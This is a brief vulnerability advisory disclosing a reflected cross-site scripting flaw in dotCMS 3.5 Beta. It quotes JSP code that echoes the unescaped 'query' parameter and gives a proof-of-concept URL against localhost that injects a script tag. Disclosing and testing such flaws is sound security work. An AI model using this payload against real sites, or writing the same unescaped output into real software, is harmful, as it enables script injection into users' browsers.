Advisory: DotCMS xss vulnerability Author: Piaox From Pingan Product Safety Group Email: xiongyaofu351@pingan.com.cn Affected Version: dotCMS 3.5 Beta(the latest version) Vulnerability Description lucene_search.jsp 26 String query = request.getParameter("query"); 27 if(!UtilMethods.isSet(query)){ 28 query = ""; 29 } 164 <div><strong><%= LanguageUtil.get(pageContext, "Query-is") %> : </strong><%=query%></div> POC && EXP http://127.0.0.1:8080/c/portal/layout?p_l_id=a8e430e3-8010-40cf-ade1-5978e61241a8&p_p_id=EXT_LUCENE_TOOL&p_p_action=0& query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&offset=0&limit=20&sort=&userid=